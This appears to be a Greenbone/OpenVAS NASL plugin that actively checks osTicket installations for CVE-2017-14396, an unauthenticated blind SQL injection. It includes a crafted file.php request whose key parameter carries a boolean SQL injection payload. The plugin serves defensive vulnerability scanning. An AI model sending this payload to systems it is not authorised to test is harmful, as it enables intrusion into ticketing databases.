osTicket < 1.10.1 SQLi Vulnerability - Active Check

# Copyright (C) 2017 Greenbone Networks GmbH
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-or-later
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License
# as published by the Free Software Foundation; either version 2
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# This program is distributed in the hope that it will be useful,
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# GNU General Public License for more details.
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# along with this program; if not, write to the Free Software
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CPE = "cpe:/a:osticket:osticket";

if (description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.140374");
  script_version("2022-05-05T09:07:46+0000");
  script_tag(name:"last_modification", value:"2022-05-05 09:07:46 +0000 (Thu, 05 May 2022)");
  script_tag(name:"creation_date", value:"2017-09-18 16:34:35 +0700 (Mon, 18 Sep 2017)");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_tag(name:"severity_vector", value:"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H");
  script_tag(name:"severity_origin", value:"NVD");
  script_tag(name:"severity_date", value:"2017-09-21 18:37:00 +0000 (Thu, 21 Sep 2017)");

  script_cve_id("CVE-2017-14396");

  script_tag(name:"qod_type", value:"remote_analysis"); # Blind SQL Injection

  script_tag(name:"solution_type", value:"VendorFix");

  script_name("osTicket < 1.10.1 SQLi Vulnerability - Active Check");

  script_category(ACT_ATTACK);

  script_copyright("Copyright (C) 2017 Greenbone Networks GmbH");
  script_family("Web application abuses");
  script_dependencies("osticket_http_detect.nasl");
  script_mandatory_keys("osticket/http/detected");
  script_require_ports("Services/www", 80);

  script_tag(name:"summary", value:"osTicket is prone to an unauthenticated SQL injection (SQLi)
  vulnerability.");

  script_tag(name:"vuldetect", value:"Sends a crafted HTTP GET request and checks the response.");

  script_tag(name:"insight", value:"By constructing an array via use of square brackets at the end
  of a parameter name it is possible to inject SQL commands.");

  script_tag(name:"affected", value:"osTicket version 1.10 and prior.");

  script_tag(name:"solution", value:"Update to version 1.10.1 or later.");

  script_xref(name:"URL", value:"http://osticket.com/blog/125");
  script_xref(name:"URL", value:"https://pentest.blog/advisory-osticket-v1-10-unauthenticated-sql-injection/");

  exit(0);
}

include("host_details.inc");
include("http_func.inc");
include("http_keepalive.inc");

if (!port = get_app_port(cpe: CPE))
  exit(0);

if (!dir = get_app_location(cpe: CPE, port: port))
  exit(0);

if (dir =="/")
  dir = "";

# blind SQL injection
url = dir + '/file.php?key%5Bid%60%3D1%20AND%202735%3D2735%23]=1&signature=1&expires=15104725311';

if (http_vuln_check(port: port, url: url, pattern: "Status: 422 Unprocessable Entity")) {
  report = "The response indicates that a blind SQL injection is possible.\n\nRequest URL: " +
           http_report_vuln_url(port: port, url: url, url_only: TRUE);
  security_message(port: port, data: report);
  exit(0);
}

exit(0);